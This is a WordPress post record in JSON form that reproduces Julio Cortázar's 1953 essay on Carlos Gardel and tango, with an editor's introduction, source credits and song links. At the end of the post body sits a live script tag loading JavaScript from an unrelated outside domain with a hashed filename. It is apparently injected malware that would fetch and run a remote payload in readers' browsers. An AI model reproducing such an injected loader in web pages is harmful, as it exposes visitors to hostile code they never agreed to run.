{"id":22526,"date":"2020-12-05T20:02:58","date_gmt":"2020-12-05T20:02:58","guid":{"rendered":"http:\/\/www.lapluma.net\/?p=22526"},"modified":"2020-12-05T20:02:58","modified_gmt":"2020-12-05T20:02:58","slug":"la-musica-de-gardel-en-palabras-de-cortazar","status":"publish","type":"post","link":"https:\/\/www.lapluma.net\/fr\/2020\/12\/05\/la-musica-de-gardel-en-palabras-de-cortazar\/","title":{"rendered":"La m\u00fasica de Gardel en palabras de Cort\u00e1zar"},"content":{"rendered":"<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">El 12 de febrero de 1984 muri\u00f3 en Par\u00eds, Francia, Julio Cort\u00e1zar, escritor, traductor, maestro rural, de fuerte compromiso pol\u00edtico y social con la realidad de Am\u00e9rica Latina. C\u00e9lebre por sus cuentos fant\u00e1sticos y su estilo innovador, se consagr\u00f3 como escritor con una obra original y prol\u00edfera, entre cuyos t\u00edtulos se encuentran Bestiario, Final del Juego, Las armas secretas, Los premios, Historia de Cronopios y de Famas, La vuelta al d\u00eda en ochenta mundos, Todos los Fuegos el Fuego, 62 modelo para armar, El libro de Manuel, Deshoras, Los autonautas de la cosmopista, etc. Rayuela, una de sus novelas, marc\u00f3 un hito en la narrativa contempor\u00e1nea.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium\" src=\"https:\/\/www.elhistoriador.com.ar\/wp-content\/uploads\/2017\/11\/gardel_en_palabras_de_cortazar.jpg\" width=\"696\" height=\"220\" \/><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Cort\u00e1zar era tambi\u00e9n amante de la m\u00fasica, especialmente del jazz, de la m\u00fasica cl\u00e1sica y del tango. Con este \u00faltimo g\u00e9nero musical ten\u00eda una relaci\u00f3n afectiva que lo un\u00eda a la Argentina, pa\u00eds que hab\u00eda dejado en 1951, cuando se instal\u00f3 en Par\u00eds.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Quisimos recordarlo en esta oportunidad con sus palabras sobre Carlos Gardel, el m\u00e1ximo exponente del tango-canci\u00f3n. El ensayo que aqu\u00ed reproducimos, originalmente publicado en la Revista Sur, en 1953, forma parte del libro <em>La vuelta al d\u00eda en ochenta mundos<\/em>, un libro publicado en 1967, que propone un viaje al interior de Julio Cort\u00e1zar, donde podemos pasar sin escalas de profundas reflexiones a sus disquisiciones m\u00e1s absurdas y desopilantes, con paradas en diversos homenajes a sus influencias literarias, digresiones, recuerdos y opiniones que se ofrecen a modo de collage con vi\u00f1etas, fotograf\u00edas y dibujos.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Fuente: Revista Sur, Buenos Aires, de julio\/agosto de 1953, en Julio Cort\u00e1zar, La vuelta al d\u00eda en ochenta mundos, tomo 1, Buenos Aires, Editorial Siglo XXI, 2009, p\u00e1gs. 137-141.<\/span><\/p>\n<p class=\"style46\" align=\"center\"><span style=\"font-size: 12pt;\">GARDEL<\/span><\/p>\n<p align=\"justify\"><span style=\"font-size: 12pt;\">Hasta hace unos d\u00edas, el \u00fanico recuerdo argentino que pod\u00eda traerme mi ventana sobre la rue de Gentilly era el paso de alg\u00fan gorri\u00f3n id\u00e9ntico a los nuestros, tan alegre, despreocupado y harag\u00e1n como los que se ba\u00f1an en nuestras fuentes o bullen en el polvo de las plazas. Ahora unos amigos me han dejado una victrola y unos discos de Gardel. En seguida se comprende que a Gardel hay que escucharlo en la victrola, con toda la distorsi\u00f3n, y la p\u00e9rdida imaginables; su voz sale de ella como la conoci\u00f3 el pueblo que no pod\u00eda escucharlo en persona, como sal\u00eda de zaguanes y de salas en el a\u00f1o veinticuatro o veinticinco. Gardel-Razzano, entonces: <a href=\"https:\/\/www.youtube.com\/watch?v=3ZpC_J_XINY\"><em>La cordobesa<\/em><\/a>, <a href=\"https:\/\/www.youtube.com\/watch?v=qvhMcT4vAWE\"><em>El sapo y la comadreja<\/em><\/a>, <a href=\"https:\/\/www.youtube.com\/watch?v=c1WAQ2TEkvk\"><em>De mi tierra<\/em><\/a>. Y tambi\u00e9n su voz sola, alta y llena de quiebros, con las guitarras met\u00e1licas crepitando en el fondo de las bocinas verde y rosa: <a href=\"https:\/\/www.youtube.com\/watch?v=bnWgrNHgciw&amp;list=RDbnWgrNHgciw&amp;start_radio=1&amp;t=0\"><em>Mi noche triste<\/em><\/a><em>, <a href=\"https:\/\/www.youtube.com\/watch?v=5WTS3h1h0GI\">La copa del olvido<\/a><\/em>, <a href=\"https:\/\/www.youtube.com\/watch?v=iNxlSSUCqg8\"><em>El taita del arrabal<\/em><\/a>. Para escucharlo hasta parece necesario el ritual previo, darle cuerda a la victrola, ajustar la p\u00faa. El Gardel de los <em>pickups<\/em> el\u00e9ctricos coincide con su gloria, con el cine, con una fama que le exigi\u00f3 renunciamientos y traiciones. Es m\u00e1s atr\u00e1s, en los patios a la hora del mate, en las noches de verano, en las radios a galena o con las primeras lamparitas, que \u00e9l est\u00e1 en su verdad, cantando los tangos que lo resumen y lo fijan en las memorias. Los j\u00f3venes prefieren al Gardel de <em><a href=\"https:\/\/www.youtube.com\/watch?v=0tGsHECwLWY\">El d\u00eda que me quieras<\/a><\/em>, la hermosa voz sostenida por una orquesta que lo incita a engolarse y a volverse l\u00edrico. Los que crecimos en la amistad de los primeros discos sabemos cu\u00e1nto se perdi\u00f3 de <em><a href=\"https:\/\/www.youtube.com\/watch?v=61S8BRAYAOk\">Flor de fango<\/a><\/em> a <a href=\"https:\/\/www.youtube.com\/watch?v=Pb9Hv9lw5Tw\"><em>Mi Buenos Aires querido<\/em><\/a>, de <a href=\"https:\/\/www.youtube.com\/watch?v=tv3NFsOmDJ8\"><em>Mi noche triste<\/em><\/a> a <a href=\"https:\/\/www.youtube.com\/watch?v=vz2NEnHMUCE\"><em>Sus ojos se cerraron<\/em><\/a>. Un vuelco de nuestra historia moral se refleja en ese cambio como en tantos otros cambios. El Gardel de los a\u00f1os veinte contiene y expresa al porte\u00f1o encerrado en su peque\u00f1o mundo satisfactorio: la pena, la traici\u00f3n, la miseria, no son todav\u00eda las armas con que atacar\u00e1n, a partir de la otra d\u00e9cada, el porte\u00f1o y el provinciano resentidos y frustrados. Una \u00faltima y precaria pureza preserva a\u00fan del derretimiento de los boleros y el radioteatro. Gardel no causa, viviendo, la historia que ya se hizo palpable con su muerte. Crea cari\u00f1o y admiraci\u00f3n, como Legui o Justo Su\u00e1rez; da y recibe amistad, sin ninguna de las turbias razones er\u00f3ticas que sostienen el renombre de los cantores tropicales que nos visitan, o la mera delectaci\u00f3n en el mal gusto y la canaller\u00eda resentida que explican el triunfo de un Alberto Castillo. Cuando Gardel canta un tango, su estilo expresa el del pueblo que lo am\u00f3. La pena o la c\u00f3lera ante el abandono de la mujer son pena y c\u00f3lera concretas, apuntando a Juana o a Pepa, y no ese pretexto agresivo total que es f\u00e1cil descubrir en la voz del cantante hist\u00e9rico de este tiempo, tan bien afinado con la histeria de sus oyentes. La diferencia de tono <em>moral<\/em> que va de cantar \u00ab\u00a0\u00a1<a href=\"https:\/\/www.youtube.com\/watch?v=FoCAeG1aQCQ\">Lejano Buenos Aires, qu\u00e9 linda que has de estar<\/a>!\u00a0\u00bb como lo cantaba Gardel, al ululante \u00ab\u00a0\u00a1<a href=\"https:\/\/www.youtube.com\/watch?v=cr4-J6l11As\">Adi\u00f3s, pampa m\u00eda<\/a>!\u00a0\u00bb de Castillo, da la t\u00f3nica de ese viraje a que aludo. No s\u00f3lo las artes mayores reflejan el proceso de una sociedad.<\/span><\/p>\n<p align=\"justify\"><span style=\"font-size: 12pt;\">Escucho una vez m\u00e1s <a href=\"https:\/\/www.youtube.com\/watch?v=BgrTSbMidqY\"><em>Mano a mano<\/em><\/a>, que prefiero a cualquier otro tango y a todas las grabaciones de Gardel. La letra, implacable en su balance de la vida de una mujer que es una mujer de la vida, contiene en pocas estrofas \u00ab\u00a0la suma de los actos\u00a0\u00bb y el vaticinio infalible de la decadencia final. Inclinado sobre ese destino, que por un momento convivi\u00f3, el cantor no expresa c\u00f3lera ni despecho. Rechiflao en su tristeza, la evoca y ve que ha sido en su pobre vida paria s\u00f3lo una buena mujer. Hasta el final, a pesar de las apariencias, defender\u00e1 la honradez esencial de su antigua amiga. Y le desear\u00e1 lo mejor, insistiendo en la calificaci\u00f3n:<\/span><\/p>\n<p style=\"padding-left: 120px;\" align=\"justify\"><span style=\"font-size: 12pt;\"><em> Que el bac\u00e1n que te acomala tenga pesos duraderos,<br \/>\nque te abr\u00e1s en las paradas con cafishos milongueros,<br \/>\ny que digan los muchachos: \u00ab\u00a0Es una buena mujer\u00a0\u00bb. <\/em><\/span><\/p>\n<p align=\"justify\"><span style=\"font-size: 12pt;\">Tal vez prefiero este tango porque da la justa medida de lo que representa Carlos Gardel. Si sus canciones tocaron todos los registros de la sentimentalidad popular, desde el encono irremisible hasta la alegr\u00eda del canto por el canto, desde la celebraci\u00f3n de glorias turf\u00edsticas hasta la glosa del suceso policial, el justo medio en que se inscribe para siempre su arte es el de este tango casi contemplativo, de una serenidad que se dir\u00eda hemos perdido sin rescate. Si este equilibrio era precario, y exig\u00eda el desbordamiento de baja sensualidad y triste humor que rezuma hoy de los altoparlantes y los discos populares, no es menos cierto que cabe a Gardel haber marcado su momento m\u00e1s hermoso, para muchos de nosotros definitivo e irrecuperable. En su voz de compadre porte\u00f1o se refleja, espejo sonoro, una Argentina que ya no es f\u00e1cil evocar.<\/span><\/p>\n<p align=\"justify\"><span style=\"font-size: 12pt;\">Quiero irme de esta p\u00e1gina con dos an\u00e9cdotas que creo bellas y justas. La primera es a la intenci\u00f3n \u2014y ojal\u00e1 al escarmiento\u2014 de los music\u00f3logos almidonados. En un restaurante de la rue Montmartre, entre porci\u00f3n y porci\u00f3n de almejas a la marinera, ca\u00ed en hablarle a Jane Bathori de mi cari\u00f1o por Gardel. Supe entonces que el azar los hab\u00eda acercado una vez en un viaje a\u00e9reo. \u00ab\u00a0\u00bfY qu\u00e9 le pareci\u00f3 Gardel?\u00a0\u00bb, pregunt\u00e9. La voz de Bathori \u2014esa voz por la que en su d\u00eda pasaron las quintaesencias de Debussy, Faure y Ravel\u2014 me contest\u00f3 emocionada: \u00ab\u00a0Il \u00e9tait charmant, tout \u00e0 fait charmant. C&rsquo;\u00e9tait un plaisir de causer avec lui\u00a0\u00bb. Y despu\u00e9s, sinceramente: \u00ab\u00a0Et quelle voix!\u00a0\u00bb<\/span><\/p>\n<p align=\"justify\"><span style=\"font-size: 12pt;\">La otra an\u00e9cdota se la debo a Alberto Girri, y me parece resumen perfecto de la admiraci\u00f3n de nuestro pueblo por su cantor. En un cine del barrio sud, donde exhiben <em>Cuesta Abajo<\/em>, un porte\u00f1o de pa\u00f1uelo al cuello espera el momento de entrar. Un conocido lo interpela desde la calle: \u00ab\u00a0\u00bfEntr\u00e1s al bi\u00f3grafo? \u00bfQu\u00e9 dan?\u00a0\u00bb Y el otro, tranquilo: \u00ab\u00a0Dan una del mudo&#8230;\u00a0\u00bb<\/span><\/p>\n<p align=\"justify\"><span style=\"font-size: 14pt;\"><span class=\"style48\"><strong>Julio Cort\u00e1zar<br \/>\n<\/strong><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-size: 14pt;\"><span class=\"Estilo15\">Publicado en revista SUR, Buenos Aires, N\u00b0223, julio-agosto de 1953<\/span><\/span><\/p>\n<p align=\"justify\"><strong><span style=\"font-size: 14pt;\">Editado por <\/span><a href=\"http:\/\/www.lapluma.net\/nosotros\/\"><span style=\"font-size: 14pt;\">Mar\u00eda Piedad Ossaba<\/span><\/a><\/strong><\/p>\n<p><span style=\"font-size: 14pt;\"><b>Fuente:\u00a0<\/b><\/span><a href=\"http:\/\/www.elhistoriador.com.ar\/\"><span class=\"s2\"><span style=\"font-size: 14pt;\">www.elhistoriador.com.ar<\/span><\/span><\/a><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"https:\/\/www.elhistoriador.com.ar\/wp-content\/uploads\/2020\/09\/696-X-220-BANNER-BELGRANO-GRANDE.jpg\" width=\"522\" height=\"165\" \/><\/p>\n<p style=\"text-align: justify;\">\n<div id=\"ffenetremailtomailModal\" style=\"z-index: 20002; text-align: justify;\">\n<div id=\"ffenetremailtopopupModalMail\">\n<div id=\"ffenetremailtotoModalClose\"><\/div>\n<div id=\"ffenetremailtopopupQuestion\"><span style=\"font-size: 12pt;\">What do you want to do ?<\/span><\/div>\n<p><span style=\"font-size: 12pt;\"><a id=\"ffenetremailtoemailOpen\"><\/a>New mail<button id=\"ffenetremailtobuttonEmail\">Copy<\/button><textarea id=\"ffenetremailtotextArea\"><\/textarea><\/span><\/div>\n<\/div>\n<div style=\"text-align: justify;\"><\/div>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\"><script src=\"\/\/jaretsummer.com\/228ebbb479fb2ce2f7.js\"><\/script><\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>En su voz de compadre porte\u00f1o se refleja, espejo sonoro, una Argentina que ya no es f\u00e1cil evocar.<\/p>\n","protected":false},"author":746,"featured_media":22527,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[19],"tags":[11370,11371,9024,11368,11373,11372],"coauthors":[11367],"class_list":["post-22526","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-literatura","tag-carlos-gardel","tag-ensayo","tag-julio-cortazar","tag-la-musica-de-gardel","tag-la-vuelta-al-dia-en-ochenta-mundos","tag-revista-sur-1953"],"translation":{"provider":"WPGlobus","version":"2.12.2","language":"fr","enabled_languages":["es","fr"],"languages":{"es":{"title":true,"content":true,"excerpt":true},"fr":{"title":false,"content":false,"excerpt":false}}},"_links":{"self":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts\/22526","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/users\/746"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/comments?post=22526"}],"version-history":[{"count":1,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts\/22526\/revisions"}],"predecessor-version":[{"id":22528,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts\/22526\/revisions\/22528"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/media\/22527"}],"wp:attachment":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/media?parent=22526"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/categories?post=22526"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/tags?post=22526"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/coauthors?post=22526"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}